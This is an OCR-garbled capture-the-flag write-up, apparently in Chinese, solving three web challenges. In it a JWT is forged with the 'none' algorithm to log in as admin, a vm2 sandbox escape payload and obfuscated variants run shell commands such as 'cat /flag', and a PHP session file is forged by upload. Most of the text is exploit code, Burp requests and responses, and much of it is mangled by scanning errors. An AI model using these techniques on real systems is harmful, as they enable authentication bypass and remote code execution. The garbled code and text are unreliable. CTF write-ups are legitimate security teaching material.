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const crypto = require('crypto’

const fs = require('fs'

const jwt = require('jsonwebtoken’
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const APIError = require('../rest').APIError;

{
'"POST /api/register': async (ctx, next) => {

module.exports

const {username, password} = ctx.request.body;

if(lusername || username === 'admin'){
throw new APIError('register error', 'wrong username');

if(global.secrets.length > 100000) {
global.secrets = [];

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token

1)8

await next();

¥

"POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!lusername || !password) {
throw new APIError('login error', 'username or password is necessary');
b
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorizat

ion;
const sid = JSON.parse(Buffer.from(token.split('."')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
const secret = global.secrets|[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {

ctx.session.username = username;

ctx.rest({
status

s



await next();

¥

"GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== ‘admin'){
throw new APIError('permission error', 'permission denied');

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag

s

await next();

}s

'"GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({

status: true

})

await next();
¥
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Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

FOST /api/login HTTR/1.1

Host:

5ad0bB171% adedi8g9dlbe9es1E7E4fc5E7341014afd4efd. changame . ichundgiu. com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =€d; ev:75.0)
Gecko/20100101 Firefox/75.0

Accepb: */*

Accepr-Language:

zh-CM, zh; q=0.8, 2h-TW; q=0.7, zh-HE; ¢q=0.5,en-U3; q=0.3,en; ¢q=0.2
Accept-Encoding: gzip, deflate

Feferer:
http://5a40b817196a4ed285d1bEIESLE7E4fc5£7341014afd46fd. changame . ichungiu
.com/ login

Content-Type: application/x-www-form-urlencodesd;
¥-Requested-With: XMLHttpRequest

Content-Length: 208

Origin:

hrep://5a40b817196a42d289d1hEYES LE7E4Ec5E7341014atd461d. changame . ichungin
.com
Connection:
Cookie:

Hm lvt_ ZdDE0lbdZSdsT7d48818249cf35d095543=1587227625, 15872580585, 1587268279,
L587ZE82B82; Hmw_lpve_2d0E0lbdISdsTd49818240cE35d95843=1557294282;
__Jsluid _h=hd3cBec43e3152e06c0184fe7ab95h807

charset=UTF-8

close

username=aaa&passwvord=aaatauthorization=eyJhbGoci0iJIUzTINiIsTnRScCIE TkpXV
CJ9. ey WY ZXRpZCTIEMCwid X lemShbhbWIioiJhYWELILCIwYXIN=dZSyZCTIE InFhYSTIs Imlhdd
CTEMTUANTzMyIDASITHO . nEyusSHF TgqmMooEsnHHG-TSde)_ROJozzRATCAoTndng

- yE M IR [5] Fjwt

e

HTTF/1.1 200 OE
Date: Sun, 19 Apr Z0Z0 11:38:25 GMT r
Content-Type: application/json; charsst=ut

Content-Length: 15

Connection: close

Set-Cookie:

gsestack=eyd leZVybmFt ZSTEIMFhYSIST1S81eHEpemUiOjE LODeOMTASMIA=M]EST 19t YR
BZ:UlongNDAUHDAva==k path=/; expires=Non, 20 Apr 2020 19:28:40 GMT;
httponly

Set-Cookie: sses:aock.sig=fif0aCGVV xQRafeQUxQY¥vI¥ZInc; path=/:
expires=Mon, 20 Apr Z0Z0 19:28:40 GHT; httponly

¥-Via-J3L: 1Ed00f5,-

¥-Cache: bypass

{"status":trues}

JWT String

eyJhbGciOiJIUzI1NilsInR5cCl61kpXVC] 9.ey JzZWNyZXRpZCI6MCwidXNIcm 5ShBWUIi Ol hYWEILC JwYXNzd 2 9y ZC16ImFhY SIsImlhdCl6MTU4ANzMyNDASNHO.nEyuSNFIgmMqq6snHH

G-T8dcj_ROJozzRdYtAo7mIng

Header Payload

)
O

naaam,

naaa",

24

IR JE AT AT D id jwt

import jwt
0.1
decode(encoding="utf-8"

token = jwt.encode({"secretid" "username"

key=

print(token

"admin", "password"

yexx" !

iat": 1587287370},algorithm="none"



https://www.jsonwebtoken.io/

eyJ0eXAi10iJKV1QiLCIhbGciOiJub251In0@.eyJlzZWNyZXRpZCI6MCAXLCI1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvemQiOiJ4eHgilCJ

pYXQiOjE10DcyODczNzB9.

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget I Proxy I Intruder TRepeatel T Sequencer l’ Decoder I Comparer I Extender I Project options l’ User options ]

5a40b817196a4edil89dlbEe9E51ETE4Efc5E7341014afd46fd,. changame . ichungiu. com
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:75.0
Gecko/2010010L Firefox/75.0

Aocept: */*

Accept-Language:

zh-CHM, zh;g=0.8, zh-TW; gq=0.7, zh-HK; gq=0.5,en-U3;g=0.3,en;g=0.2
Aecept-Encoding: gzip, deflate

Referer:
http://5a40b817196a42d285d1bESES1E7E4fc5E7341014afddefd. changams . ichungiu
.com/ login

Content-Type: application/x-wwv-form-urlencoded:
¥X-FRequested-With: XMLHttpReqguest

Content-Length: 171

Origin:
http://5a40b817196a42d289d1bETES1E7E4fc5E7341014afdd6fd. changams . ichungiu
.com

Connesction: close

Cookie: i

Hm lvt Zd0e0lb 28de7d498iy95f35d95943=1587:27629,1587:58098,1587268279,

charset=UTF-8

1587268282 lpve ZdOE01AZEBdeTd498 18249 f35d95943=1587294282;
__dsluid h=hdfcBc43=3152= 0184£fc7ab38hab7

username=admin&passwcrd=xxxkauthorization=eyJDeXAiOiJKVLQiLCJhch101Jub25
1Tn0. eyJzZWNYZXRp ZCTEMCAxLCI LeZVybnFtZ5 T6 InF kb WilulivieGF ze3ddvemQioiJ4eHyl
LCIpTXQiOjELODeyODezNzES.

P4, 05, jwhi ZUH 5 R
SRIG IR B U TH (1) sses:aok Al sses:aok.sig

#E N\ flag 7 [

8 % [ 19 = [ 20 = [ 29 = [ 22« |
Send Cancel < |v > | Target: http://5a40b817196aded289d1b69651f7T4fc5f7 341014afd46fd.changame.ichungiu.com / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /fapi/login HTTE/L.1 " HTTP/L.1 200 OK A
Host: - Date: Sun, 19 Apr 2020 11:45:20 GMT -

Content-Type: application/json: charset=ucf-&

Content-Length: 15

Connesction: close

Set-Cookie:

sses:aok=eyJlelVybmFtZSTE IMFkbWluliwiXiV4cGlyZSTEMTU4ANzOxMTHzNTezMCwikZ L
heEFnZSTECDYOMDAWMDES; path=/:; expires=Mon, 20 Apr 2020 19:35:35 GMT:
hotponly
Set-Cookie:
expires=Mon,
K-Via-J3L:
¥-Cache:

sses:aock.sig=EDbNRJLwOInQDSnIk71THSOISCY,
20 Apr Z020 19:35:35 GMT: httponly
S5c4E5£4, -

bypass

path=/;

{"status":true}

Send Cancel <|v >|r

Request

Raw | Params | Headers | Hex

Target: http://5a40b817196a4ed289d1b69651f7i4fc57341014afd46fd.changame.ichungiu.com / @

Response

Raw | Headers | Hex

GET /fapi/flag HTTP/L.Ll

Host:
S5ad0b81719€adedlB0dlbeses51ET7TE4fc5E7341014atd46£d. changams . ichungiu,. com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:75.0
Gecko/20100101 Firefox/75.0

Recept: */*

Accept-Language:

zh-CM, zh; g=0.8, 2h-TW;g=0.7, zh-HK; q=0.5,2n-US; g=0.3,en; g=0.2
Accept-Encoding: gzip, deflate

Referer:
heep://5a40R817196a42d289d1RESESLETE4Ec5E7341014atd46Ed. changams . ichungin
- com/ homs

¥-Requested-With: XMLHttpRequest

Connsction: close

Cookie:

Hm_lvt_ Zd0E01lbdZ8de7d49818248c£35d95943=1537227625, 15872580598, 1587266279,
15872ZEE2B2; Hm lpvt Zd0E01bdZBde7d49818245cf35d95943=158T7294282;
__Jsluid_h=bd3cBc43e3152e06c01B4fcTab99bEb7;

ssegtack=eyJlcIVybnFLZISTE IMFkbWluliwiXZV4cGlyZ3TENTU4AN zQxMTHzNTe zICwiXZ 1h
eEF. 'TEODYDHDAUHDBBb Sses:aok.3ig=EDbNRJLwOInQODOnIk71THS0ISCY

RPAME AT B e CER IR FIRMED , wLAEFS 2 flag

HTTP/1l.1 200 OK

Date: Sun, 19 Apr Z0ZI0 11:46:51 GMT
Content-Type: application/json: charsec=utf-8
Content-Length: 55

Connection: close

H-Via-J5L: S5c4E65f4, -

¥-Cache: bypass

{"flag":"flag(73cETd7e-1TE6-4bde-aE47-4fc0fa523ces) ' n"}

L




just_escape

BEANIXAS T T

HFi=E

code: (2+6-7)/3

run online: /run.php?code=(2%2b6-7)/3;
Quput: 0.3333333333333333

TR ==

RGN B — A php BT EACIE SAT R LT, (HAAZ I, XAMRA & php » HSZE H tHA R
FATHi N Error() . stack

Error at vm.js:1:1 at ContextifyScript.Script.runinContext (vm.js:59:29) at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:219:62) at /usr/src/app/server.js:51:33 at Layer.handle [as handle_request]
(/usr/src/app/node_modules/express/lib/router/layer.js:95:5) at next (fusr/src/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (fusr/src/app/node_modules/express/lib/router
/routejs:112:3) at Layer.handle [as handle_request] (fusr/src/app/node_modules/express/lib/router/layer.js:95:5) at /usr/src/app/node_modules/express/lib/router/index.js:281:22 at
Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
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IRIEBATZEM R —TF KT vm2 [ payload

Breakout in v3.8.3 #225

(G4 XmiliaH opened this issue on 4 Aug 2019 - 8 comments

ﬂ XmiliaH commented on 4 Aug 2019 Collaborator (&) ===

One can break out of the sandbox via:

"use strict";
const {VM} = require{'vm2")};

const untrusted = "{" + function{){
TypeError.prototype.get_process = f=>f.constructor{"return process")();
try{

Object.preventExtensions{Buffer.from(""}).a = 1;
Ycatch(e){
return e.get_process(()=x{}).mainModule.require{”child_process").execsync( "who:
H
U
try{
console.log{new VM{).run{untrusted));
Yeatch(x){
console.log(x);

¥

C} 2

Bt A 2 [ payload y:
VM2 558 i A (3.83) i) b it A G AL

"use strict";

const {VM} = require('vm2');

const untrusted = '(' + function(){

TypeError.prototype.get_process = f=>f.constructor("return process")();
try{

Object.preventExtensions(Buffer.from("")).a = 1;

}catch(e){

return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

0"
try{

console.log(new VM().run(untrusted));

tcatch(x){

console.log(x);

}
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r: b is not defined

payload_1:

(function (){
TypeError[ ${ ${ prototyp }e } ][ ${ ${ get_pro }cess } ] = f=>f[ ${ ${ constructo }r } 1( ${ ${ return proc
“YessT})();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e[ ${ ${ get_pro }cess } 1(()=>{}).mainModule[ ${ ${ requir }e } 1 ${ ${ child_proces }s } )[ ${
“${ exe }cSync } 1("1ls /) .toString();
}
HO

BATERTLME join RPHETFFH

payload_2:

u, n
[“preventExtensions™ ] (Buffer[ from  ]( " ))[ a ] = 1; }catch(e){ return e[ a ](()=>{})[ mainModule  ][['r , e, q ,
TSNy, nT, e ][ JoinT J(C ) 1(Ccat /flag)[Ttostring ()5 } 1) ()
payload_3(E#EH 4 5eil, TEjs, i REFRFE)

1ttp://5162e7¢838404069998fd09e9d80c48286357faa3b134f0c.changame.ichungiu.com/run.php?code[]=try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process”)();

}
0);
tcatch(e){
e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
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@ HackBar Quantum v % bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

Encryption+ | | Encoding+
Otherw | | XS5+  SQLw

Strings¥ || Payloads+
| Load @ Split | */ Run
UCECLZ I FoaUa U0, Cllallgale, lonungrd,
com/run. php?code=(function®20 ()
{TypeError[ ${ ${ prototyp }e'} ]
[${3{ get_pro lcess } 1%20=%20£=%3E
£ ${ 3! constructo }r'} ] v
(878 vatnrn®2Nnrars Lase 173 (-
Auto-Pwn+
Enable Post Data

~

[ Enable Referer

@ HackBar Quantum ~ x  flag{5ab368b1-12d5-4c88-a5a2-de1c1374b446}

Encryptionw | | Encoding +
Otherw | XSS+  SQLw
Strings¥ | Payloads+¥
@toad | § spiit | »Run_|

{return®%20e[ ${ ${ get_pro }cess'} ] *
(()=%3E{}). mainModule[ ${ ${ requir }

e } 108 8{ child_proces }s'}7)
[${${ exe }teSync } 1 ( cat®20 o
/flag ). toString () ;}1) 0

Auto-Pwnw

[Enable Post Data
[JEnable Referer

X JUAFRE url 9wtD, HE3K LT payload Efil#E url AELIAT LT

babyupload

e AR

<?php
error_reporting(9);
session_save path("/var/babyctf/");
session_start();
require_once "/flag";
highlight file(__ FILE_ );
if($ _SESSION[ 'username'] ==='admin')
{
$filename="/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);

else!

,,,,,, e PR — ——— _



~————

$_SESSION[ 'username'] ='guest';
¥
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, ‘'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){

$dir_path .= "/".$ SESSION[ 'username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($ _FILES['up_file"]['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file path .= "_".hash_file("sha256",$ FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/[\.\A\\\\)/ ', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, @700, TRUE);
if(move_uploaded_file($ FILES['up_file']['tmp_name'],$file path)){
$upload_result = "uploaded";
telse{
throw new RuntimeException('error while saving');
¥
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
¥
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/[\.\AA\\\)/ ', $file_path)){
throw new RuntimeException('invalid file path');
¥
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
¥
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file path));
header('Content-Disposition: attachment; filename="'.substr($filename, @, -65)
if(readfile($file_path)){
$download_result = "downloaded";
telseq{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

A REHPATIRE, LAl A1 R SO
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if($ SESSION[ 'username'] ==='admin')

{
$filename="/var/babyctf/success.txt"';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}

B CXIE S H AT session il A, FrLARRMTGEAR B AILE FAE— sess_xxoxxxxxx AP K7 5 A K] sess A

fi#

-

&

Je N sessIfF, AR AFETH)

s FeTTI— 1 s

: = = if(preg_matchC /O W0/ W W VW), $file_path)) {
http://218cf4c6190242£08b£5498d19102495 throw new RuntimeException( invalid file path’):
03296556235a4cd2. changame. ichungiu. com/ }

if(!file_exists(§file_path)) {
throw new RuntimeException( file not exist’);

}

e header (: Content-Type: s,pl;)li?a.tin.m.-"for?e—domload’ );
header (" Content-Length: .filesize(§file_path)) :

.Enable.Post Data header (" Content-Disposition: attachment; filename="".substr($filename, 0, -65)." "
direction=downloadk if (readfile($file_path)) {
filename=sess_a3ea4c49c740c8083c0ab5615 $download result = “downloaded” -
fb8282d }else{

throw new RuntimeException(’ error while saving');
}
(ER . } catch (RuntimeException $e) |
$download_result = $e—rzetMessaze();
}
exit;
}
i
usernames:5:"guest”;
o O=== Dess OELE NEE (IEEREE Ous R B ek 1 TEsiis
Q% HTML
<html> i
<head»</head>
w <body>

</html>

X JLIRATE Bllsess A 4% 20N 0x@8usernames :5: "guest”;
FERATHIE A — exe8 AT WLFRF, TFAIREAE miEE, ik

AEsess et

$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$ FILES['up_file']['tmp_name']);

XJLBATR FENS $_FILES[ 'up_file']['name'] B usessHt Al LA 17, XFERH AL sess AR 44 X

Hifl success. txt CHFk
file exists($filename) , H:H ¢$filename &—AN3CHJe, HiH A2 26 14F

BEPHHSESSID, #& )5 il #r vl it i LAAS 2 flag



B sess

o] a.tut - IBEE

IR #wEE(E) fBR0) EEN) EEIH)
ousernames:5:"admin”;

SRJGIZAT hash_file PR3, 19EIMAAE

432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad510299d1d76a5a4

ﬁi)ﬁi’f?iﬁ:, AT FAEPIIR, —IRFES sess , —IRAIE success.txt X AfJ



AEsess

POST / HTTP/1.1

Host:

Z18cf4celS8hIi4Z 0B E5498d4191024550328e556235a4cdl . changames . ichungiu. com
User-Agent: python-recuessts/2.22.0

Accept-Encoding: gzip, deflate

Aocept: */*

Connection: close

Content-Length: 349

Content-Type: multipart/form-data;
boundary=289033alac58aZ5e35af%deac47=55a6

--2B89033alaf58al5635af9%deac4T7=59a6
Content-Disposition: form-data; namws="direction™

upload

--2B89033alaf58al5635af9%deac4T7=59a6
Content-Disposition: forwm-data; name="attrc"

--289033aZag53al SatfdeacdTe59ac \

5
CDntent—Difogi: form-data; namwe="up file": filenams="scsss"

Ousernames: 5: "admin';
—-—-2BY9033ala&58al 563 5af9%deacd7e58ad——

HTE success.txt A

J [n¥-11 | rdiginz | [ L=1-1¥ |- k=] | 1IgA |

L

XA AE attr BAS

POST / HTTF/1.1

Host:
Z21B8cf4celS8hI4Zf08LE5498d19102459503e88556823 5adeds . changamwes . ichungiu. com
User-Agent: python-recquests/2.22.0

Aocept-Encoding: gzip, deflate

Aocept: *iW

Connection: close

Content-Length: 356

Content-Type: multipart/form-data;
boundary=289033aZaf58aZ5635af9deac47e55%a6

--2B9033aZafE58al5635af9deacd4T7e59a8
Content-Disposition: form-data:; namse="direction"

upload
—--288033aZaE58a5635af8deacd47e5%a6
Content-Dispositl form-data:; name="attr"

Success.txt
--2B9033aZafE58al5635af9deacd4T7e59a8
Content-Disposition: form-data; name="up file"; filename="sess"

Ousernames: 5: "acmin™;
—-2859033aZaf58al5635af9deacdTe55af-——




SR )5 ¥ 6 PHPSESSID {H432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

Jll e g RT BA T

$download_result = “downloaded”;
telse{
throw new RuntimeException( error while saving');
}
} catch (RuntimeException §e) {
$download_result = S$e—>getMessage():
}
exit;
}
2
flag{91f7aef3-8623-4180-bd33-c458a0bf0acb}
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